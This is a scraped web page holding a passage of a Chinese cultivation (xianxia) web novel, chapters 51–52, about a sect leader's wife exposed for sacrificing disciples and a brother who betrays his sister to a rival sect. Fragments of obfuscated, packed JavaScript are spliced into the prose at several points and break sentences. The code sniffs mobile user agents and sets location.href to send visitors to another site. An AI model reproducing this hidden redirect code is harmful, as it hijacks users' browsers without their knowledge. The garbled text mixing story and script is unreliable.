l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14311088|146720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上鱼跃时,青木宗死伤也没那么惨。” 林木儿眼神微凝:“你什么意思?” “你们需要我的药,却没有一个人是真心求我。哪怕知道过去的那些事,知道我曾经在你们那里受过怎样的苦,也没有一个人,有过半分感同身受,你们都觉得我纠缠着过去的事不放,在这无理取闹。”苏一枝猛地张开微微攥着的手,往外一弹,巨大的画面凌空现于众人眼前,“只可惜,我所说的,字字属实。” 画面上显示的是林木儿和林桐桐如何一步步诱骗齐长老,并将其引入地坑的过程。 秦炎闭上眼睛,微微叹息:“你为何非要如此?” “竟然是你所为!!那之前失踪的弟子都是你干的?木儿,你究竟想做什么?”林渊是真的生气了,“那个什么林桐桐呢?把她给我找出来!当场处死!” 林木儿走到前面,转身对着众人跪下:“这件事,是我对不起离火宗,对不起青木宗。我有错,我承认,但我也是迫不得已。” 秦炎终于睁开眼,低头看着她:“你有什么不得已?” “有什么不得已能抵得过百条人命!”人群中有人高喝。 “就是!也不是一个两个,那么多条人命,就因为你的不得已?” 林木儿看着面前的群情激愤,双肩微微发颤,但面色不改: “我一直怀疑苏一枝与那黑水门有勾结,可无人相信。她消失十年,再次出现,又知晓很多沼泽深处才有的药材。我猜,那地坑底下,定有什么通道,可以越过沼泽,与黑水门勾结。为了验证我的想法,只能牺牲一些同门。只可惜,前期进入地坑的,或许是修为不高,都如石沉大海,我没办法,才选择一些长老。若能得到验证,这些牺牲也是值得的。” 这番话,除了少数几个人,在场大多数都听得云里雾里。 但有一点他们听明白了,那就是,大家的命不值钱,可以因为一个猜想,就拿来随便牺牲。 人群再次躁动起来。 秦炎摆手,压下躁动:“此事我必会妥善处理,不论亲疏。” “修为不高的都如石沉大海,你没办法才选择了长老……可是林木儿,当初我被你折磨得肢体破碎扔进地坑时,还只是个炼气期呢。”苏一枝幽幽道。 众人皆惊。 道道目光压得林木儿几乎要抬不起头来,她挺直了背:“可是齐长老的元神出现在了沼泽深处,靠近黑水门的那一带,这不正印证了我的说法吗?苏一枝,你离开十年,分明就是躲在了黑水门。怪不得我向那黑水邪神许愿取你性命,邪神竟不答应,只是让你离开丹药峰。” “你终于承认,是你联系邪神逼我离开丹药峰的了?所以你们看,并不是我不想继续为你们炼制丹药,实在是被逼得没有办法。” “林木儿!你!”林渊气得浑身发抖,“你叫我怎么说你!还有那个林桐桐呢?找到没有?” “我在这。”半空中传来一道声音。 林桐桐手里捧着好几枚玄影石,被林河用灵力一推,哆嗦着出了法阵。 51. 第 51 章 “林河!”林渊已经不知道自己要先朝哪个发火了。 地上跪着的林木儿,半空出现的林桐桐,还有她身后莫名其妙冒出来的林河,哪个都让他恨不得踹上几脚。 “我,我来揭露真相。”林桐桐站到苏一枝旁边,双腿发软。 林木儿突然站起,抬手就朝林桐桐攻去,无数青藤蛇一般窜上半空,密密麻麻,遮天蔽日。 “又来,”苏一枝冷笑,“说了多少次,叫你不要自取其辱。” 青藤落地,断裂枯萎。 林木儿脸色苍白。 秦炎看着林桐桐,已经预感了她会说什么,他敛起眸底的波涛汹涌,平静将目光转向林木儿:“夫人近月来因为孩子一事,身体虚弱,神思恍惚,甚是辛苦,带夫人回去好好休养。” 左右有人上前欲扯林木儿,林木儿拍开两人,翻手一张幻境符打到秦炎头上,身体如离弦之箭,窜入山林消失不见。 “抓住她!别让她跑了!”人群中有人高呼。 “她害死了我们一百多兄弟!” 林渊一跺脚,带人朝林木儿消失方向追了过去。 秦炎清醒过来的时候,原先的人群已散了七七八八。 青木宗的人全走了,他们不光损失了普通弟子,连宗门修为最高的齐长老都被害了,对林木儿的恨要更深一些。 离火宗走了大半,剩下一些都是因为他才留下的。 白金宗的人倒是没走,不过白金宗来的人本就不多。 他抬眼,见苏一枝好整以暇地看着他,随手抛过来一个锦袋。 “一些药,也不能让你们白跑一趟。” 无数目光如针尖一般刺在脸上,秦炎狠狠吞了口唾沫,好像将满身狼狈也悉数咽下,他问:“林桐桐呢?” “你不关心自己妻子,倒问林桐桐,怎么?想灭口?” 秦炎沉默,他是真的想灭口,可好像灭不成了。 他眼底肌肉抽动了几下,感觉自己从未如此灰头土脸过,却一时毫无办法,只得拿着锦袋走到钟刚面前,将里面的药分了一部分出去。 钟刚却推开了:“以后这药,我都不会再吃。” “可是……” “秦兄,你看不出来吗?她就是在报复,她想让我们所有人都死。可是,我白金宗何曾招惹过她!玉芝又何曾招惹过她!” “那就任修为停滞不前吗?” “个人愚见,我们的修为,不会一直停滞,过一段时间,总会恢复以往速度。但若继续吃这药,只怕依赖会越来越重。” “我也不是没这样想过,但强敌当前……” “大不了一死。”钟刚说。 这话仿佛有种无形的力量,一下子将秦炎定在原地。 直到众人散去,小徒弟秦无忌上来连声叫师父,秦炎才又回过神来。 他抬眼望去,上次还能依稀在层峦叠翠中看到洞天轮廓,现在已经什么都看不到了,这说明林河的修为已经超过了他,他无法再看穿林河所设法阵。 秦炎心里像是出现了一个巨大的空洞,整个人脚步都有些虚浮。 而洞天内,林桐桐正伸手接过苏一枝的延年益寿丹。 只有一颗,可延十年寿命。 没有杂质,没有副作用,货真价实的十年。 但是林桐桐不满:“不是说好50年的么?” “你戏唱完了吗?”苏一枝问。 “可,可那又不是我的问题。”林桐桐声音低下来,“我能住在你们这里吗?现在出去,林木儿肯定会杀了我,就算林木儿被抓了,秦炎跟林渊也不会放过我。” “那又不是我的问题。林桐桐,你觉得我会想面对你?多送你十年命,只是因为我从不白利用别人罢了。”苏一枝示意林河,“送客。如果怕死,就不要离我洞天太远。” 洞天之内恢复了平静。 自从进入合体期,呆在寂灭空间的时限变为四个时辰,苏一枝修炼的时间更多了,却迟迟没有进入洞虚期的迹象,也依然没有得到灵女的任何提示。 也许以自己的资质,很难再到下个境界了吧,苏一枝想。 她有点可惜,却也无可奈何,很努力了,但天资所限,有什么办法呢。 大不了到时候受反噬而死,只要死之前能看到所有仇人结局,便也值了。 每天看着身边几人,她甚至觉得,如果真是那样,也不错。 林河已经进入分神期,孙遇仙也到了元婴,就连苏三枝,竟也噌噌噌大步迈进筑基。 “姐,我们吃了玄天鼎炼的药,也会跟他们一样,只要停了,修为就停滞不前吗?”苏三枝问。 “其实钟刚说得对,停了一段时间,就会恢复到从前。但人们习惯了快速,很难再接受从前那般缓慢。尤其是修为较高者,一旦因此道心不稳,随时走火入魔。你们不用担心啊,就算我死了,玄天鼎也会留给你们,药可以一直吃的。” 端坐吐纳的林河睁开眼:“你说什么?” “就是啊,乱说什么,要是姐你都死了,我们还能活着?希来!不要揪圆圆尾巴!” 两个孩子跟大家混久了,没了最初的恐惧,甚至大胆得有些过分了,比如赵希来,动不动就去揪圆圆尾巴。 可能是三条尾巴的豹子比较少见。 面对苏三枝的呵斥,赵希来一点都不怕,他甚至又拿了一条放到赵依依手里:“要是姐也在,正好一人一条。” 圆圆不满地甩了甩尾巴,林河皱眉,将圆圆收进灵府。 “咦?哪去了?”赵依依好奇。 这短暂的平静,随着苏三枝回了一趟家而被彻底打破。 新家在青山镇边缘,靠近山脚的那片。 普通人一般不愿靠山太近,会被兽类骚扰。 因此越是靠山的宅子,就越便宜,很大一个院子,七八个房间,每月租金只要15块中品灵石。 苏家和别人不一样,他们靠猎兽为生,当然离山越近越好。 因此苏一枝便花三块上品灵石将这宅子买了下来。 苏光宗幻境走一遭,竟真克服了过去的阴影,敢于去猎灵兽了。 加上他又有了坚定目标,攒钱,因此变得十分勤快。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14323632|146720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 普通人如果单靠猎兽,一天能有三五百块下品灵石就不错了,但苏光宗力气大,他每日上山捉灵兽大概能赚一个中品灵石,一月下来,能有个三十块。 每月吃穿用度,按理说十块中品灵石就够,但妹妹们大了,又是在镇上,穿衣方面总要讲究些,有时用得多了,能达到十五块。 不过不管怎样,苏光宗坚持一个月留下十五块中品灵石,就当给苏一枝交房租用。 对此,王闲云很是不满,她觉得,女儿确实是受了些苦,可如今她过得那样好,这些钱对她来说根本不算什么,何必要搞得大家缩手缩脚呢。 念叨几次,见没能改变苏光宗想法,王闲云也就随他去了。 只是她经常会有意无意说起钱不够用,出门见哪个邻居又添了新衣,自己也想买可考虑到家里如此困难之类,念得苏五枝苏六枝也开始跑镇上成衣坊,接些绣娘之类的活计。 苏三枝回来后见此情况,对哥哥竖起拇指,又对两个妹妹大加赞赏,看得王闲云直翻白眼,说:“你是不是嫌我不去做活在家吃白饭呢?我倒也想去,谁让我这身子,生了你们这么多,被掏空了,七枝也得有人看着……” “打住打住!”苏三枝掏了掏耳朵,“真的听得耳朵都起老茧,谁让你出去干活了吗?这么多年,你不都呆在家里等着享福?” “我呸!”王闲云道,“享什么福!这么多年,哪里享过一天福了?” 这下轮到苏三枝翻白眼:“当年我姐刚被接上山时,秦老宗主给的可不少,花哪去了你自己没个数?说这种话。” “平时老念叨说见不到你,这见到你了,又在这吵吵。”苏光宗边笑边端菜上桌。 他杀了两只没什么灵气的猎物,一只山鸡,一只山兔,又摘了些在山脚种的菜,一家人正在饭桌上吵吵闹闹谈笑风生,院门突然被敲响了。 苏三枝看着眼前玉树临风又透着清清冷冷生人勿近气质的年轻修真者,精神恍惚。 她觉得,这人怎么有点眼熟? 可是她又怎么会认识这样的人? 正疑惑间,那人开口:“三姐?” 苏三枝如遭雷击,盯着那人看了好半天,难以置信:“你……你是耀祖?” “三姐认不出我了?我可是一见面就认出三姐了呢。”苏耀祖笑道,他长得好看,笑起来不再那么清冷,让人看着如春风拂面,心旷神怡。 不远处已经有小姑娘在往这里张望。 苏三枝眼泪一下子就流了出来,抄起大门后的扫把就抡了过去:“你还知道回来!以为你死在外面了呢!” 屋里人听到动静,纷纷放下碗筷走出门来,见此景象,一时都愣在那里。 王闲云最先反应过来,她扑上前,捶打苏耀祖胸口,边捶边哭。 捶了一会,她又心疼得一把将眼前人抱住,终于嚎出了声:“耀祖啊,我的小祖宗嗳……” 苏耀祖轻轻揽住王闲云肩膀,面带微笑:“娘,小点声,你这个样子,别人还以为是耀祖死了呢。” 苏家小儿子苏耀祖,在离家出走八年后,终于回来了。 52. 第 52 章 苏家洋溢在团聚的喜悦中。 苏耀祖还给每人都带了礼物,不光有屋内所有人的,还有苏二枝苏四枝的。 空气出现了短暂凝固。 “你二姐和四妹已经不在了。”王闲云抚摸绸缎的手停顿了一下,才又抚上那些料子,叹气道,“都是些没福气的。” “都过去了,不提也罢。”苏三枝打岔,“耀祖不如说说这些年是怎么过的吧,为什么这么久没有回来,又是怎么找到这里的。” 苏耀祖没有继续追问,说起了自己的经历。 原来当初他离家后,历尽千辛万苦,终于通过纳新,进入了白金宗,却因身份低微,被弟子们各种打压排挤。 不过天赋是不可能被埋没的,有白金宗长老看中他天资,将他收为自己众多义子之一。 他为争一口气,没日没夜苦修,终于在白金宗站稳了脚跟,便想着回家一趟,谁知到家一看,人去屋空。 “我跟村里人一打听,才知道你们搬到了这里,”苏耀祖语速很慢,八年时光,在他平静的语气里就这么缓缓流淌而过,“前些日子,听一些师兄弟们闲谈,说是大姐回离火宗了,还闹出了不小的动静。我本想去看看,可到底思家心切,一有时间,就先回来了。” “怎么搬得这么远?”他又淡淡说了句,“从苏家村到青山镇,普通人得走上十天半个月呢。” 苏三枝看向王闲云:“村里人怎么知道我们搬这来了?是你说的吧?” “也就让五枝写信,跟你苏三婶子和张大娘说了。”王闲云不以为然,“这里人生地不熟的,不给老朋友写写信说道说道,我得多闷。” “你忘了咱是因为什么才住到这里的吗?还敢显摆。” “莫非有什么不得已的原因?”苏耀祖问。 桌上饭菜已然重新热过一遍,苏三枝吃净最后一口,将碗放下:“你刚才说想看大姐?明儿一早,带你去。” “我们也一起去吧。”苏光宗一边收拾碗筷一边说,“我好把攒的月租给带过去。要不要先跟姐说一声?” “不如给大姐个惊喜,”苏耀祖难得露出少年人的调皮,“看她还能不能认出我。” “就这么说定了。” 苏三枝早早便回了房间,按孙遇仙教她的功法运行了一遍真气,方才躺下。 耳边听着苏光宗忙来忙去收拾东西的声音,辗转反侧,总觉得自己似乎遗漏了什么东西,究竟是什么呢? 苏三枝想着想着,便沉沉进入梦乡。 第二日大早,一家人便在苏三枝带领下上山了。 苏光宗带了好些漂亮灵兽的皮子羽毛之类,虽然苏一枝未必看得上,但好歹是他心意。 “我都说你们几个来就行了,非要我也一起来做什么。这个山路,我真不想走。”半路上王闲云抱怨。 “娘,这山路险峻,那洞天又有阵法掩蔽,若是没三妹带着,我们根本无法去看姐。如今三枝好不容易下山,带我们来一趟,大家一起不好吗?”苏光宗见五妹吃力,伸手拉了她一把。 “有什么好看,还嫌气受得不够啊。人家上次说的话你们忘了?尽最后一次孝。” “那娘是忘了大姐所受之苦了吗?”苏三枝不满,“哦,我忘了,娘根本没能撑多久。” “你们在说什么?”苏耀祖笑意吟吟。 一行人中他最轻松,众人没有问过他修为几何,所以便也不知他其实很容易就能将大家带到半山腰。 苏三枝便将先前那些过往一一说给苏耀祖听,完了嘱咐道:“大姐吃了很多苦,我们之前不理解她,让她受了很多委屈。待会要是她态度不怎么好,你也不要介意。她这人,面硬心软,只要我们服些软,她那些狠话,也就是说说。” “当然了,”她又补充,“我们也要真心,不能拿瞎话骗她,是真是假,她分得出的。” 说话间便到了洞天所在,除了苏三枝,别人只能看到山峦起伏,红花绿树。 苏三枝拿出腰间玉牌,打开洞天法阵,守在一边:“大家快些进。” 她看着家人一个个走进去,苏耀祖排在最后,苏七枝在他前面。 就在苏七枝跨进法阵时,苏三枝忽然觉得后背发毛,冷汗顿时冒了出来,她想起了昨天一直遗漏的是什么了。 之前和孙遇仙闲聊,孙遇仙说,大姐也曾被白金宗针对过,甚至关押过,是因为什么来着? 因为白金宗的宗主夫人死了,他们怀疑是大姐所为,而白金宗的宗主夫人,不就是那个秦玉芝么,自己明明经历了幻境,怎么竟把这个忘得一干二净! 苏耀祖他,好像是白金宗的啊! 然而晚了。 一股强大的威力扑天盖地碾压过来,苏三枝不由弯下腰,口吐鲜血,她眼睁睁看着七八道身影利箭般飞过头顶,窜入法阵,紧接着天光一暗,又是一片人影飞过,乌压压一片,足有百十来人。 苏三枝咬着牙,慢慢直起身,转过头盯着苏耀祖:“耀祖,你利用我?” 苏耀祖冷笑:“叫我钟耀。” 苏三枝扑了过去,试图给苏耀祖几个耳光:“你居然出卖大姐!你想害死她吗?你这个没良心的坏种!” 然而刚刚筑基的她,又怎么可能伤得了对面的人分毫。 苏耀祖眸色微冷,甚至没有动手,苏三枝就一声惨叫,抱着手跌倒在地,翻滚出去。 她的手,断了。 苏家其他人惊呆了。 王闲云大张着嘴,错愕看着眼前一切。 苏光宗挥着捕兽夹想要上前,王闲云反应过来,赶紧死死拉住他,也不知到底是怕他受伤,还是为了护住苏耀祖。 苏耀祖眉毛嫌弃地拧起,冷冷瞥了他们一眼,转头飞跃而去。 前方,已经战成一团。 自从进入分神期,林河就放松了每日的巡山,因为全天下也没几个人能看破他的阵法了。 今天有人靠近阵法时,他已有感应,继而就听到了苏家人的声音。 他放下了心,但还是觉得不太对,习惯性看了一眼。 就这一眼,让他飞身而起,半空中与钟刚几人相遇,扬手就是一道毒雾。 钟刚带来了白金宗50岁以上的全部精锐,誓要除掉苏一枝,为秦玉芝报仇。 没错,秦玉芝的确是死于她自己所下之毒,但眼睁睁看着秦玉芝喝下毒药的苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14335490|146720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一枝,真的无辜吗? 更何况,从之前几次事件看来,苏一枝手里必有不利于秦玉芝的东西,或许是玄影石,或许是别的,又或者只是她那张嘴。 总之,苏一枝不除,秦玉芝即使身死,也很有可能会被她搞得声名狼藉。 他是报着必死的心来的,哪怕今次所有人都折在这里,也在所不惜,宗门自有年轻人顶起。 不反抗,就能有好结果了么? 看看青木宗离火宗那些人吧,因为没了丹药,修为停滞,个个都已经快疯了,就连秦炎,也已经明显道心不稳。 她苏一枝,分明是想要所有人死。 转眼之间,钟刚林河已过数十招。 天地间飞沙走石,树木连根拔起,倾倒在地,山石滚落,山间鸟兽齐鸣。 原本正在寂灭空间里修炼的苏一枝也已闻声赶来,孙遇仙跟在她身后,神情紧张。 苏一枝以威压强行让两人暂停。 钟刚发现自己根本动不了,一颗心缓缓沉了下去,如坠入深渊。 没想到,她修为竟已高到如此地步,在此之前,他以为她不过是靠丹药才显得特别突出。 那自己这趟,倒真像是来送死。 苏一枝眯起眼睛:“钟刚,我一直对你印象不错,也与你无仇无怨,故而不会报复于你。但你为何坚持要来找死?” “无怨无仇?我妻因何而死?” “我再三说过,你当初也看了,是秦玉芝害我不成,死于自己手中。即使这样,你也一定要黑白不分,为她报仇吗?” “看着她饮下毒药,与亲自动手杀她,有何区别?” “就算我当时救她,她也活不了多久,因为永远会有下一次。这话当时我便说过,你是一点都没听进去吗?第一次在白金宗救她时,我就已经说了,那是最后一次。如果再有下次,我会袖手旁观她自作自受。” 钟刚当然记得她说过的话。 秦玉芝在他眼里,天真,一根筋,但也不至于那么傻,被人利用一次有可能,哪有这么快就上第二次当的道理? 他无法接受。 事到如今,他也不想隐瞒,如实将想法告诉了苏一枝。 苏一枝叹息:“你就没有想过,她并不是全然被利用?如果她本就想害我呢?不是林木儿骗她害我,只是她配合林木儿一起害我。说起来,比起林木儿,她更害怕会在自己丈夫面前暴露真面目吧。我都有点同情你了,真的。曾经,我也跟你一样信任她,所以我被她骗了一次又一次。哪怕她一再害我,我也觉得,她只是没有主见,谁态度强硬,她就听谁的。现在我终于明白了,她并不是全无主见,她有主见,她的主见就是,她其实也想杀我,想将我从这个世界上抹去。这样,她的真实面目就不会暴露在你面前,她在你面前就永远是一个天真的,无邪的,听话的,可爱的小妻子。” 她停了片刻,问:“你一定要杀了我,是真的想要为她报仇,还是说,你也跟她一样,无法面对真正的她呢?” 钟刚沉默。 “既然如此,我就帮你一把。”苏一枝转头向捂着胳膊跌跌撞撞日跑过来的苏三枝说,“告诉林桐桐,有戏要唱。”